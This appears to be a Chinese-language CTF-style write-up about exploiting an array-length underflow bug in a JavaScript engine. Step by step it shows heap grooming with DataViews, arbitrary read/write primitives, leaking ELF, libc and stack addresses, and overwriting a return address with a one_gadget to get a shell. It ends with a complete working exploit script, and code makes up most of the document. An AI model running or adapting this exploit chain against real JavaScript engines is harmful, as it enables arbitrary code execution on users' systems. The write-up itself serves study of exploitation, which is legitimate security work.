漏洞分析与利用

漏洞触发方式很简单

1
2
3
4
a = new Array(1);
a.pop();
a.pop();
print(a.length)

Untitled 1.png

之后我们调试如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
a = new Array(1);
a.pop();
a.pop();
a[1] = 0xbeef;
a[2] = 0xdead;
a[14] = 0x1234;
a[15] = 0x5678;

print("finish");

for(let i = 0; i < 100000000; i ++){

}

可以通过硬看内存的方式看出来数组 a 的位置

Untitled 2.png

其位置也在JS堆靠前的位置

随后声明两个 ArrayBufferDataView,我们计划通过数组a 来修改 dv 的长度来越界读写,然后更改 dv2ArrayBuffer 指针来达到任意地址读写的目的

数组a使用INTEGER的原因是我调试的时候发现如果使用的是浮点数或者字符串之类的东西,好像会单独开辟一个空间存储浮点数或字符串的值,然后将空间地址的指针存储到数组aelement处,这样并不好利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
a = new Array(1);
a.pop();
a.pop();
a[1] = 0xbeef;
a[2] = 0xdead;
a[14] = 0x1234;
a[15] = 0x5678;

var ab = new ArrayBuffer(0x1337);
var dv = new DataView(ab);
dv.setUint32(0,0xabcd);
dv.setUint32(4,0xdcba);

var ab2 = new ArrayBuffer(0x1338);
var dv2 = new DataView(ab2);

print("finish");

for(let i = 0; i < 100000000; i ++){

}

查看内存

Untitled 3.png

可以发现 DataView 数据大致会存储长度和 element ptr

Untitled 4.png

查看 element ptr所指向的数据(也就是ArrayBuffer),可以发现里面也有存储长度等内容,同时后面便是写入ArrayBuffer的数据

但是如果我们仔细观察便会发现一个问题,内存布局是这样的从上到下分别是 abab2dvdv2,我们无法通过dv修改ab2的指针

出现这种情况是因为JS堆内还有许多的空位,那么我们只要不断申请DataView占位即可把dv2移到后面

1
2
3
4
var dv2 = new DataView(ab2);
for(let i = 0; i < 90; i++){
dv2 = new DataView(ab2);
}

效果如下

Untitled 5.png

那么我们只要计算好dv的长度存储的位置在数组a的那一个索引上,即可通过修改数组a的元素修改dv的长度,之后通过向后搜索找到dv2的长度的位置并修改后面的指针即可任意地址读写

由于代码的长度等因素会导致JS堆布局的变化,所以每次的索引都需要手动计算一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
a = new Array(1);
a.pop();
a.pop();
a[1] = 0xbeef;
a[2] = 0xdead;
a[14] = 0x1234;
a[15] = 0x5678;

var ab = new ArrayBuffer(0x1337);
var dv = new DataView(ab);
dv.setUint32(0,0xabcd);
dv.setUint32(4,0xdcba);

var ab2 = new ArrayBuffer(0x1338);
var dv2 = new DataView(ab2);
for(let i = 0; i < 90; i++){
dv2 = new DataView(ab2);
}

a[0xfb] = 0xffffff;

print("[+]change dv range");

for(let i = 0; i < 100000000; i ++){

}

var idx = 0;
for (let i = 1; i < 0xf000; i++){
let v = dv.getUint32(i, 1);
if(v == 0x1338){
idx = i;
}
}

print("Get idx!");

print("finish");

for(let i = 0; i < 100000000; i ++){

}

之后便可以构造任意读写原语

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function arb_read(addr){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
let result = new Uint32Array(2);
result[0] = dv2.getUint32(0, 1)
result[1] = dv2.getUint32(4, 1);
return result;
}

function arb_write(addr,val){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
dv2.setUint32(0, l32(val[0]));
dv2.setUint32(4, l32(val[1]));
}

然后通过修改返回地址为one gadget的方式getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var u = new Uint32Array(2);
u[0] = dv.getUint32(idx + 4, 1);
u[1] = dv.getUint32(idx + 8, 1);

print(hex(pack64(u)));

var elf_base = new Uint32Array(2);
elf_base[0] = u[0] - 0x26a6a0;
elf_base[1] = u[1];
printhex("elf_base:",elf_base);

var putchar_got = new Uint32Array(2);
putchar_got[0] = elf_base[0] + 0x266df0;
putchar_got[1] = elf_base[1];
printhex("putchar_got:",putchar_got);

var libc_base = arb_read(putchar_got);
libc_base[0] -= 0x89400;
printhex("libc_base:",libc_base);

var environ_addr = new Uint32Array(2);
environ_addr[0] = libc_base[0] + 0x1ef2d0;
environ_addr[1] = libc_base[1];
printhex("environ_addr:",environ_addr);
var stack_addr = arb_read(environ_addr);
printhex("stack_addr:",stack_addr);

var one_gadget = new Uint32Array(2);
one_gadget[0] = (libc_base[0] + 0xe6c7e);
one_gadget[1] = libc_base[1];
printhex("one_gadget:",one_gadget);
stack_addr[0] -= 0x118;
arb_write(stack_addr,one_gadget);

但是这种方式在本机跑不同,因为满足不了 one gadgetr12 的要求

Untitled 6.png

Untitled 7.png

通过查看栈可以认为r12的值是通过栈传递过去的,那么只要把栈上的值改为0即可满足条件

Untitled 8.png

最后试了试

1
2
3
4
5
6
var zero = new Uint32Array(2);
zero[0] = 0;
zero[1] = 0;
printhex("zero:",zero);
stack_addr[0] -= 0x29;
arb_write(stack_addr,zero);

果真如此,改了之后就可以 getshell

Untitled 9.png

这里之所以是0x29的原因是如果是0x28则写入不进去,会直接崩溃,之前也遇到过这种情况,目前还不知道是什么原因导致的

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
function printhex(s,u){
print(s,"0x" + u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0'));
}

function hex(i){
return "0x" + i.toString(16).padStart(16, '0');
}

function pack64(u){
return u[0] + u[1] * 0x100000000;
}

function l32(data){
let result = 0;
for(let i=0;i<4;i++){
result <<= 8;
result |= data & 0xff;
data >>= 8;
}
return result;
}

a = new Array(1);
a.pop();
a.pop();
a[1] = 0xbeef;
a[2] = 0xdead;
a[14] = 0x1234;
a[15] = 0x5678;

var ab = new ArrayBuffer(0x1337);
var dv = new DataView(ab);
dv.setUint32(0,0xabcd);
dv.setUint32(4,0xdcba);

var ab2 = new ArrayBuffer(0x1338);
var dv2 = new DataView(ab2);
for(let i = 0; i < 90; i++){
dv2 = new DataView(ab2);
}

a[0x19d] = 0xffffff;

print("[+]change ab range");

for(let i = 0; i < 100000000; i ++){

}

var idx = 0;
for (let i = 1; i < 0xf000; i++){
let v = dv.getUint32(i, 1);
if(v == 0x1338){
idx = i;
}
}

print("Get idx!");

function arb_read(addr){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
let result = new Uint32Array(2);
result[0] = dv2.getUint32(0, 1)
result[1] = dv2.getUint32(4, 1);
return result;
}

function arb_write(addr,val){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
dv2.setUint32(0, l32(val[0]));
dv2.setUint32(4, l32(val[1]));
}

var u = new Uint32Array(2);
u[0] = dv.getUint32(idx + 4, 1);
u[1] = dv.getUint32(idx + 8, 1);

print(hex(pack64(u)));

var elf_base = new Uint32Array(2);
elf_base[0] = u[0] - 0x26a6a0;
elf_base[1] = u[1];
printhex("elf_base:",elf_base);

var putchar_got = new Uint32Array(2);
putchar_got[0] = elf_base[0] + 0x266df0;
putchar_got[1] = elf_base[1];
printhex("putchar_got:",putchar_got);

var libc_base = arb_read(putchar_got);
libc_base[0] -= 0x89400;
printhex("libc_base:",libc_base);

var environ_addr = new Uint32Array(2);
environ_addr[0] = libc_base[0] + 0x1ef2d0;
environ_addr[1] = libc_base[1];
printhex("environ_addr:",environ_addr);
var stack_addr = arb_read(environ_addr);
printhex("stack_addr:",stack_addr);

var one_gadget = new Uint32Array(2);
one_gadget[0] = (libc_base[0] + 0xe6c7e);
one_gadget[1] = libc_base[1];
printhex("one_gadget:",one_gadget);
stack_addr[0] -= 0x118;
arb_write(stack_addr,one_gadget);

var zero = new Uint32Array(2);
zero[0] = 0;
zero[1] = 0;
printhex("zero:",zero);
stack_addr[0] -= 0x29;
arb_write(stack_addr,zero);

print("finish");

for(let i = 0; i < 100000000; i ++){

}